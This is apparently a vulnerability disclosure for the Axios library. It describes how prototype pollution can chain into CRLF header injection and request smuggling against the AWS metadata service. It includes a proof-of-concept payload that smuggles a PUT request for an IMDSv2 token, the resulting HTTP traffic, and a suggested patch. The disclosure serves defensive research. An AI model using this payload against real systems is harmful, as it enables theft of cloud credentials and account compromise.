Vulnerability Instance

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

## Summary
The Axios library is vulnerable to a specific "Gadget" attack chain that allows **Prototype Pollution** in any third-party dependency to be escalated into **Remote Code Execution (RCE)** or **Full Cloud Compromise** (via AWS IMDSv2 bypass).

While Axios patches exist for *preventing check* pollution, the library remains vulnerable to *being used* as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

**Severity**: Critical (CVSS 9.9)
**Affected Versions**: All versions (v0.x - v1.x)
**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)

## Usage of "Helper" Vulnerabilities
This vulnerability is unique because it requires **Zero Direct User Input**.
If an attacker can pollute `Object.prototype` via *any* other library in the stack (e.g., `qs`, `minimist`, `ini`, `body-parser`), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (`\r\n`) characters, the polluted property becomes a **Request Smuggling** payload.

## Proof of Concept

### 1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
```javascript
Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";
```

### 2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
```javascript
// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 
```

### 3. The Execution
Axios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.

**Resulting HTTP traffic:**
```http
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...
```

### 4. The Impact (IMDSv2 Bypass)
The "Smuggled" second request is a valid `PUT` request to the AWS Metadata Service. It includes the required `X-aws-ec2-metadata-token-ttl-seconds` header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

## Impact Analysis
-   **Security Control Bypass**: Defeats AWS IMDSv2 (Session Tokens).
-   **Authentication Bypass**: Can inject headers (`Cookie`, `Authorization`) to pivot into internal administrative panels.
-   **Cache Poisoning**: Can inject `Host` headers to poison shared caches.

## Recommended Fix
Validate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.

**Patch Suggestion:**
```javascript
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});
```

## References
-   **OWASP**: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.